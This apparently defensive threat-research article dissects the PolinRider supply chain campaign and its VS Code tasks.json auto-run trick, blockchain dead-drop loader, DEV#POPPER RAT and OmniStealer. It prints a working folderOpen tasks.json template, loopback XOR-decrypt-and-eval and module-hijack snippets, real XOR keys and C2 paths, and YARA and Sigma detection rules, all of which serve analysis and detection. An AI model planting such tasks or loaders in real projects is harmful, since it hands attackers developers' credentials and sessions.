PolinRider: North Korea’s 108-Package Open-Source Supply Chain Campaign Dissected

Open a repository. That’s the whole exploit. No npm install script, no privilege escalation, no user clicking a phishing link. A developer clones a project they think is legitimate, opens the folder in VS Code, and North Korean malware executes before the editor finishes drawing the file tree. That is the ugly genius of PolinRider, and it is why this campaign should change how you think about your own workstation.

A quick correction before we go deep, because it matters for anyone verifying sources. The primary reporting on PolinRider is Socket’s Threat Research Team (Karlo Zanki, published July 1, 2026), corroborated by Rescana, eSentire’s March 2026 DEV#POPPER deep-dive, and Ransom-ISAC. It was not Check Point. If you’re citing this campaign in an incident report or a threat brief, attribute it correctly.


Campaign overview: PolinRider in context

PolinRider is a developer-targeting supply chain campaign that has been running since December 2025 and is still live. It sits inside the broader Contagious Interview / Famous Chollima activity cluster, the DPRK operation that lures software engineers with fake job interviews and coding tests, with reporting also linking infrastructure overlap to APT37 (Reaper / ScarCruft) and the Void Dokkaebi umbrella. Famous Chollima is widely assessed as a subset of Lazarus-adjacent DPRK operations, and the malware it fields (BeaverTail, InvisibleFerret, OtterCookie) shares code and infrastructure with the two payloads at the center of PolinRider: the DEV#POPPER remote access trojan and the OmniStealer information stealer.

The scale is not a rounding error. Socket catalogued 162 malicious release artifacts mapping to 108 unique packages and extensions across four ecosystems.

EcosystemCountNotes
Go modules61Largest single ecosystem footprint
npm19Includes tailwindcss-style-animate, tailwind-mainanimation, tailwind-autoanimation
Packagist (Composer)10Includes the compromised sevenspan namespace
Chrome Web Store1Independent browser-based initial access vector

That’s the packaged distribution side. The direct-repository side is worse. The OpenSourceMalware team first flagged the injected-loader activity in March 2026, and by April 11, 2026 the campaign had compromised 1,951 public GitHub repositories belonging to 1,047 unique owners. Somewhere along the way, PolinRider absorbed a separate cluster tracked as TaskJacker, which is where the VS Code angle comes from.

My thesis for the rest of this piece: the security industry keeps guarding the registry (npm, PyPI, Packagist) while the actual weaponization happens two hops downstream, inside the IDE and the developer’s shell environment. PolinRider is the campaign that proves it.


Initial access: how maintainer accounts fall

Here is the detail that reframes the whole threat model. The attackers are not using stolen GitHub credentials.

Socket’s assessment is that maintainer accounts are being taken over through account recovery paths, most plausibly expired domain takeover: the attacker re-registers a lapsed domain that a maintainer once used for their account email, then triggers a password reset flow to that address. No credential phishing, no infostealer log purchase, no session hijack. The account is recovered legitimately, by the wrong person.

Why this matters for defenders: your usual “impossible travel” and “leaked credential” detections will produce nothing. The login looks like a normal recovery. This is also self-reinforcing, because some of the initial victims were themselves compromised through a malicious VS Code extension or npm package, giving the operators the material they needed to pivot into maintainer accounts.

Once inside, the operators clean up after themselves in a way that defeats the most common triage step. They rewrite Git history with force pushes and anti-dated commits, so the malicious changes look old and boring. If you glance at a repo’s landing page or git log and conclude “this has been here forever, must be fine,” you have been played.

The single strongest behavioral signal came from the Xpos587 account. Multiple repositories under that owner (Xpos587/git2md, Xpos587/markfetch, and others) were modified at exactly the same time on June 23, 2026, around 10:00 UTC. As the researcher put it, a synchronized bulk-update pattern like that “is unlikely to reflect normal maintainer activity and is consistent with account-level compromise followed by bulk repository modification.” That is your detection primitive for account takeover: not the content of the change, the synchronicity of many changes.


Stage 0: hiding the loader

The payload at this stage is an obfuscated JavaScript loader, and the operators go to real trouble to keep a human reviewer from ever seeing it.

Whitespace padding. They inject hundreds or thousands of leading blank spaces before the malicious code so it scrolls off the right edge of the editor viewport. eSentire’s ShoeVista case is the textbook example: the backdoor lived in frontend/tailwind.config.js, and the last line of that file started with a huge run of whitespace, then the obfuscated Node.js payload. Unless you turn on “render whitespace” and enable word wrap, you scroll past a file that looks completely normal.

Fake .woff2 fonts. A file named inter.woff2 sitting in static/fonts/ reads as a legitimate web font. In PolinRider variants it holds loader bytes or encrypted stage data instead. Nobody code-reviews a binary font asset.

Config-file injection. The loaders hide inside files that are supposed to contain executable JS anyway, so a stray function isn’t automatically suspicious. Confirmed targets:

  • tailwind.config.js, vite.config.js, eslint.config.js, config.js (injection sites)
  • postcss.config.mjs, next.config.mjs, babel.config.js, app.js, eslint.config.mjs (files searched on the victim post-execution to find more config to poison or exfiltrate)

The obfuscation itself was almost certainly generated with the free Obfuscator.io tool, which produces a very recognizable style: hex-encoded string arrays, a rotating decoder function, control-flow flattening, and dead-code branches. The visual tell is a wall of _0x variable names and String.fromCharCode sequences that no build tool emits.

One operational lesson that keeps repeating: partial cleanup fails. Several repos had their fake-font payloads detected and stripped, while the whitespace-padded config injections were left untouched, so the machines stayed compromised. If you find one PolinRider hiding technique, assume the others are present too and sweep for all of them.


The VS Code tasks.json hijack (TaskJacker merge)

This is the part that makes PolinRider dangerous to careful developers, not just careless ones.

VS Code (and Cursor, which inherits the same task engine) supports auto-running tasks when a folder is opened, through the runOptions.runOn field in .vscode/tasks.json. The TaskJacker cluster drops a weaponized tasks.json into a repo, and the moment the developer opens that folder as a workspace, the task fires.

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "Build Assets",
      "type": "shell",
      "command": "node tailwind.config.js",
      "runOptions": {
        "runOn": "folderOpen"
      },
      "presentation": {
        "reveal": "never",
        "panel": "dedicated"
      }
    }
  ]
}

Read the fields the way an attacker does:

FieldLegit purposeWeaponized use
type: "shell"Run through a shellFull shell interpretation of command
commandThe build commandnode tailwind.config.js (runs the poisoned config loader)
runOptions.runOn: "folderOpen"Auto-start dev serversThe silent auto-trigger
presentation.reveal: "never"Hide noisy outputNo terminal panel pops up, so the developer sees nothing
label: "Build Assets"Human-readable nameBlends with real build tasks

The obvious objection is Workspace Trust. Modern VS Code shows a trust dialog for unfamiliar folders and won’t run folder-open tasks in Restricted Mode. Here is why it doesn’t save you: the compromised repo is a workspace the developer deliberately opened and trusted. You cloned it because you meant to work on it. You click “Trust,” because of course you trust a project you’re about to contribute to. The trust model assumes malice comes from an unexpected folder. PolinRider comes from the folder you wanted.

Hunting rogue tasks is at least straightforward. Any tasks.json combining folderOpen with a silent presentation deserves scrutiny:

# Flag folder-open tasks across a repo tree
grep -rEl '"runOn"\s*:\s*"folderOpen"' --include='tasks.json' .

# Pull out the command each auto-task runs
find . -path '*/.vscode/tasks.json' -exec \
  jq -r '.tasks[] | select(.runOptions.runOn=="folderOpen") | .command' {} +

If a folderOpen task shells out to node <config-file> or references a .woff2, treat the whole repo as hostile.


Conceptual illustration of a developer opening a VS Code workspace and silently triggering a hidden malicious task through the tasks.json folderOpen mechanism, with no visible alert
VS Code’s folderOpen auto-task fires the moment a workspace is opened – no script execution warning, no terminal flash, nothing the developer sees.

Stage 1: the JavaScript loader and blockchain dead-drop C2

Once the loader executes inside Node, it does something clever with its command-and-control. In several PolinRider variants, instead of hardcoding an attacker-owned domain, the loader reaches out to public blockchain RPC infrastructure: TRON, Aptos, and BNB Smart Chain.

The technique Ransom-ISAC calls Cross-Chain TxDataHiding works like this. The operators publish a transaction from a wallet they control and stuff the encrypted next stage into the transaction’s input/data field (the arbitrary-bytes field, not smart-contract storage). The loader then:

  1. Calls a public RPC endpoint such as trongrid.io or an Aptos fullnode.
  2. Queries a hardcoded wallet address’s transaction history.
  3. Reads the data field of a specific transaction.
  4. XOR-decrypts the bytes with an embedded key.
  5. Runs the result with eval().

The tradecraft here is genuinely good, and I don’t say that lightly. A developer machine talking to a TRON RPC node looks exactly like Web3 development. You cannot wholesale-block blockchain RPC without breaking legitimate work, and the “C2 domain” is an immutable public infrastructure endpoint you have no authority to take down. The payload lives on a distributed ledger. There is nothing to seize.

The XOR keys are static per campaign wave and make excellent hunting anchors. eSentire’s ShoeVista case recovered two:

  • ThZG+0jfXE6VAGOJ decrypts the follow-on stage that loads DEV#POPPER.
  • 9KyASt+7D0mjPHFY decrypts the OmniStealer stager response.

Conceptually, the decrypt-and-run core is a handful of lines:

// Illustrative of the Stage 1 mechanism (loopback-safe in a lab).
const http = require('http');
http.get('http://127.0.0.1:4444/stage1', (r) => {
  let d = '';
  r.on('data', c => d += c);
  r.on('end', () => {
    const k = 'ThZG+0jfXE6VAGOJ';
    let o = '';
    for (let i = 0; i < d.length; i++)
      o += String.fromCharCode(d.charCodeAt(i) ^ k.charCodeAt(i % k.length));
    eval(o); // Stage 2 executes here
  });
});

Because it runs inside Node with the developer’s environment, the loader immediately has access to process.env (CI secrets, cloud credentials), local .env files, SSH keys, package registry tokens, project source, Git metadata, and full child-process execution. And because the design is modular (fetch, decrypt, eval), the operators can swap the delivered payload at will. Today it’s DEV#POPPER and OmniStealer. Tomorrow it could be a wiper or a ransomware dropper.

For deobfuscation, eSentire released DEV#STOPPER.js, which automates unpacking the intermediary stagers and final payloads. Use it rather than reinventing the Obfuscator.io unwind by hand.


Flowchart showing the PolinRider JavaScript loader querying a public TRON or Aptos RPC endpoint, reading encrypted payload bytes from a blockchain transaction data field, XOR-decrypting them with a static key, and executing the result via eval
The loader never contacts a traditional C2 domain – it reads the next stage from an immutable public blockchain transaction, making the infrastructure unblockable and unsinkable.

Stage 2: DEV#POPPER RAT

DEV#POPPER is a cross-platform Node.js RAT, and its retrieval is itself a nested blockchain operation. An additional stage (tracked as “Stage 4” in the source analysis) deobfuscates, then calls a function named t, passing it an XOR key, a TRON address, and an Aptos address as fallback. That function pulls and stitches together the DEV#POPPER source from across the crypto networks, and the caller eval()s the result. The RAT is literally assembled from data spread across two blockchains at runtime.

C2 protocol

DEV#POPPER runs a dual-channel C2:

  • WebSocket via socket.io-client for interactive control, with support for multiple simultaneous operators through independent command queues. That multi-operator design tells you this is a managed platform, not a one-off implant.
  • HTTP endpoints for the rest: /verify-human/[VERSION] for heartbeat and notifications, and /u/f for file uploads, directory exfiltration, and logging.

When it’s time to deploy the stealer, DEV#POPPER hits /$/z1 to pull the base64-encoded, XOR-encrypted OmniStealer payload, and runs it in memory through Python’s exec().

Anti-analysis

Two techniques stand out. First, catastrophic backtracking: a deliberately pathological regular expression that hangs a debugger or automated analyzer indefinitely, exploiting worst-case regex engine behavior to starve your sandbox of CPU. Second, an aggressive environment check. If DEV#POPPER decides it’s on AWS or Azure, on a CI/CD runner like GitHub Actions, or on a security distro like Kali Linux, it terminates. It only detonates on what looks like a real developer’s machine. That is why your automated sandbox may report the sample as benign.

Persistence

Persistence is where DEV#POPPER burrows into the developer’s daily tools. It injects versioned code (marked C250617A through C250620A, which reads like a June 17-20 build series) into Node-based desktop applications: VS Code, Cursor, Antigravity, Discord, and GitHub Desktop. It also creates a hidden .node_modules folder to abuse Node.js module search-order hijacking (T1574): drop a malicious os or similar module higher in the resolution path, and every require('os') runs attacker code first.

// .node_modules/os/index.js  (module search-order hijack, lab illustration)
const http = require('http');
http.get('http://127.0.0.1:4444/verify-human/C250617A'); // beacon
module.exports = require('/usr/lib/node_modules/os');      // re-export real module

Most confirmed victims are on macOS, but the RAT supports Windows and Linux too. Do not assume you’re safe because your shop isn’t a Mac shop.


Stage 3: OmniStealer

OmniStealer is the smash-and-grab endgame, and it is Python-based rather than Node. Its loading chain avoids relying on a system Python: it downloads a portable Python ZIP archive from the C2, extracts it with tar (falling back to 7-Zip), then runs an inline python -c stager that fetches, XOR-decrypts (key 9KyASt+7D0mjPHFY), and exec()s the final stealer in memory.

Ransom-ISAC’s characterization is blunt and accurate: it is code that exfiltrates “virtually everything on the device.” Confirmed targets:

CategoryWhat it takes
BrowsersPasswords, history, credit cards, and session cookies from Chrome, Edge, Firefox
Crypto50+ wallet extensions and desktop apps: MetaMask, Phantom, Coinbase Wallet, and more
Cloud storageiCloud, OneDrive, Dropbox, MEGA directories
Developer assetsGit credentials, VS Code extension storage
Local vaultsSystem password vaults

Everything gets bundled into a password-protected ZIP (which frustrates naive DLP content inspection) and shipped to the C2, with a Telegram bot fallback if the primary C2 is unreachable. The session-cookie theft is the part that should worry you most, because a stolen cookie sidesteps MFA entirely. The attacker doesn’t need your GitHub password when they have your authenticated session.

That same cookie-theft goal explains the lone Chrome extension in the 108. Published to the Chrome Web Store, it targets browser environments directly through chrome.cookies, chrome.storage, and web-request interception APIs, harvesting session material with no Node.js execution required at all. (The specific extension identifier was not confirmed in reviewed sources, so verify it against Socket’s live tracker rather than trusting any name floating around.)


Conceptual illustration of OmniStealer silently harvesting browser session cookies, cryptocurrency wallet credentials, SSH keys, and cloud storage tokens from a developer machine into an encrypted exfiltration container
OmniStealer’s session-cookie theft is its most dangerous capability – a stolen authenticated cookie renders MFA irrelevant, handing the attacker a live session with no password required.

Full kill chain, mapped to ATT&CK

Cross-check every technique ID against a current ATT&CK Navigator before you publish it in your own report, since supply-chain sub-technique assignments keep shifting.

StageActionATT&CK
Initial AccessExpired-domain / account-recovery maintainer takeoverT1078, T1195.002
Initial AccessPoisoned package pushed to registryT1195.001
Defense EvasionGit history rewriting, anti-dated commitsT1070
Defense EvasionWhitespace padding, fake .woff2, Obfuscator.ioT1027, T1027.010
Executiontasks.json folderOpen auto-runT1204, T1546
ExecutionJavaScript loaderT1059.007
Command & ControlBlockchain transaction dead-drop resolverT1102.001
Command & ControlXOR-encrypted channel, socket.io WebSocketT1573, T1071.001
Defense EvasionDeobfuscate/decode stages, eval/execT1140
Defense EvasionSandbox/CI detection, catastrophic backtrackingT1497
Persistence.node_modules module search-order hijackT1574
PersistenceInjection into VS Code/Discord/GitHub DesktopT1554
ExecutionPython python -c / exec() stagerT1059.006
CollectionBrowser creds and cookiesT1555.003, T1539
CollectionLocal files, .env, SSH keysT1005, T1552.001
ExfiltrationPassword-protected ZIP, C2 / TelegramT1560.001, T1567

Hierarchical kill-chain diagram tracing PolinRider from expired-domain maintainer takeover through defense evasion, folderOpen task execution, blockchain C2, Node module persistence, and OmniStealer credential and cookie exfiltration
Every stage of the PolinRider chain is designed to blend into normal developer activity – from a recovered account login to a Web3 RPC call to a build task.

Building a detection lab

Everything below runs on loopback. Nothing touches a real blockchain, a real registry, or a real credential store. You need Node 18+, a local Verdaccio registry, VS Code or Cursor, Python 3, and Sysmon (Windows) or auditd (Linux).

The core of a safe C2 simulator, standing in for the blockchain RPC dead-drop and the DEV#POPPER endpoints:

// c2-sim/server.js  -- 127.0.0.1 only
const express = require('express');
const app = express();

app.get('/stage1', (req, res) => {          // fake blockchain dead-drop
  const key = 'ThZG+0jfXE6VAGOJ';
  const stage2 = `process.stdout.write(JSON.stringify(Object.keys(process.env)));`;
  let enc = '';
  for (let i = 0; i < stage2.length; i++)
    enc += String.fromCharCode(stage2.charCodeAt(i) ^ key.charCodeAt(i % key.length));
  res.send(enc);
});

app.get('/verify-human/:version', (req, res) => {   // DEV#POPPER heartbeat
  console.log(`[C2] heartbeat version ${req.params.version}`);
  res.json({ status: 'ok', cmd: 'idle' });
});

app.post('/u/f', express.raw({ type: '*/*' }), (req, res) => {  // exfil sink
  console.log(`[C2] exfil ${req.body.length} bytes`);
  res.sendStatus(200);
});

app.listen(4444, '127.0.0.1', () => console.log('[C2-SIM] 127.0.0.1:4444'));

Publish a fake @genxcyber-lab/polinrider-sim to Verdaccio, drop the weaponized tasks.json into a workspace, open it in VS Code, and watch the heartbeat land. That single loop teaches you more about this campaign than any diagram, because you feel how little the developer has to do wrong.


Detection engineering: YARA and Sigma

YARA: the loader concealment tells

rule PolinRider_JS_Loader_Concealment
{
    meta:
        author = "GenXCyber"
        description = "PolinRider whitespace-padded / XOR eval JS loader"
        reference = "Socket TRU, July 2026"
    strings:
        $xor1  = "ThZG+0jfXE6VAGOJ" ascii
        $xor2  = "9KyASt+7D0mjPHFY" ascii
        $ep1   = "/verify-human/" ascii
        $ep2   = "/$/z1" ascii
        $ep3   = "/u/f" ascii
        $eval  = "String.fromCharCode" ascii
        $pad   = /\x20{200,}[^\x20]/          // 200+ spaces then content
        $obf   = /_0x[0-9a-f]{4,6}/           // Obfuscator.io var style
        $rpc   = "trongrid.io" ascii
    condition:
        any of ($xor*) or any of ($ep*) or
        ($eval and ($pad or $obf)) or
        ($rpc and $obf)
}

Also flag any .woff2 whose magic bytes are not wOF2 (0x774F4632) but whose content contains require( or node -e, a strong sign the “font” is a loader.

Sigma: rogue folder-open task

title: VS Code folderOpen Task Spawning Node From Config File
id: 9f1c8e42-polinrider-taskjacker
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    parent:
        ParentImage|endswith:
            - '\Code.exe'
            - '\Cursor.exe'
    node:
        Image|endswith: '\node.exe'
        CommandLine|contains:
            - 'tailwind.config.js'
            - 'vite.config.js'
            - 'eslint.config.js'
            - '.woff2'
    condition: parent and node
level: high
tags:
    - attack.execution
    - attack.t1204
    - attack.t1546

Sigma: blockchain RPC egress from a dev tool

title: Developer Tool Beaconing to Public Blockchain RPC
id: 3a77bd10-polinrider-txdrop
status: experimental
logsource:
    category: dns_query
detection:
    proc:
        Image|endswith:
            - '\node.exe'
            - '\Code.exe'
            - '\python.exe'
    rpc:
        QueryName|contains:
            - 'trongrid.io'
            - 'fullnode.mainnet.aptoslabs.com'
            - 'bsc-dataseed'
    condition: proc and rpc
level: medium

Pair these with Sysmon Event ID 1 (process creation, watch node and python children of Code.exe/Cursor.exe), ID 3 (network connection to blockchain RPC or Telegram API), ID 11 (creation of .node_modules, .woff2 loaders, or portable Python archives), and the file-history telemetry that would reveal synchronized bulk repo modification.


CI/CD and developer workstation hardening

Registry scanning is necessary and insufficient. Here is what actually blunts PolinRider’s chain, roughly in order of impact.

ControlStops / detectsReality check
Disable VS Code auto-run tasks in policy; keep Workspace Trust in Restricted Mode by defaultThe folderOpen execution triggerThe single highest-leverage control. Kills the TaskJacker vector outright.
npm install --ignore-scripts in CI, and by default locallyInstall-time script executionDoesn’t stop config-file loaders, but removes a whole other class of abuse.
Private registry proxy (Artifactory / Nexus) with allow-listing and quarantineNewly published or newly modified malicious versionsAdd a cooldown so brand-new versions can’t be pulled instantly.
Lockfile pinning + integrity hashes; block floating rangesSilent malicious version bumpsPin to exact versions, review lockfile diffs like code.
Egress filtering: deny blockchain RPC and api.telegram.org from build runners and, where feasible, dev endpointsStage 1 dead-drop retrieval and OmniStealer fallbackBuild agents have zero reason to talk to a TRON node.
Secrets out of shell profiles and .env; short-lived, scoped tokens via a brokerThe loader’s harvest of process.env and .envIf a token lives in process.env, assume PolinRider read it.
Phishing-resistant MFA plus domain/email-recovery monitoring for maintainersAccount-recovery takeoverWatch for lapsed domains tied to maintainer emails; this is the actual entry point.
EDR with browser cookie/DPAPI access alertingOmniStealer collectionCookie theft defeats MFA, so treat cookie-store reads as high signal.

The recovery-path takeover deserves a final word to maintainers specifically: renew the domains behind your account emails, or move recovery to an address on a domain you will never let lapse. PolinRider’s front door is an expired DNS registration, not a cracked password.


Key takeaways

  • The IDE is the exploit surface. PolinRider’s cleverest move is tasks.json with runOn: folderOpen. Opening a trusted repo is the trigger. Disable auto-run tasks by policy and this campaign’s best vector dies.
  • Attribution correction stands: Socket’s Threat Research Team reported this on July 1, 2026, not Check Point. Get it right in your own writeups.
  • No stolen credentials. Maintainer accounts fell through expired-domain account recovery. Your credential-leak detections will see nothing. Watch for synchronized bulk repo edits instead.
  • Blockchain dead-drops beat your blocklists. TRON/Aptos/BNB transaction-data C2 is legitimate, immutable, and unblockable wholesale. Hunt the XOR keys, the RPC egress from dev tools, and the eval/exec decrypt pattern.
  • Partial cleanup is failure. Removing fake fonts while leaving whitespace-padded config injections left machines compromised. Sweep for every hiding technique, every time.
  • Cookies over passwords. OmniStealer’s session-cookie theft sidesteps MFA. Cookie-store access is a first-class alert, not a footnote.
  • Assume swap-ability. The loader is modular. DEV#POPPER and OmniStealer are today’s cargo. The same chain can deliver a wiper tomorrow, so fix the delivery mechanism, not just the current payload.

Related Tutorials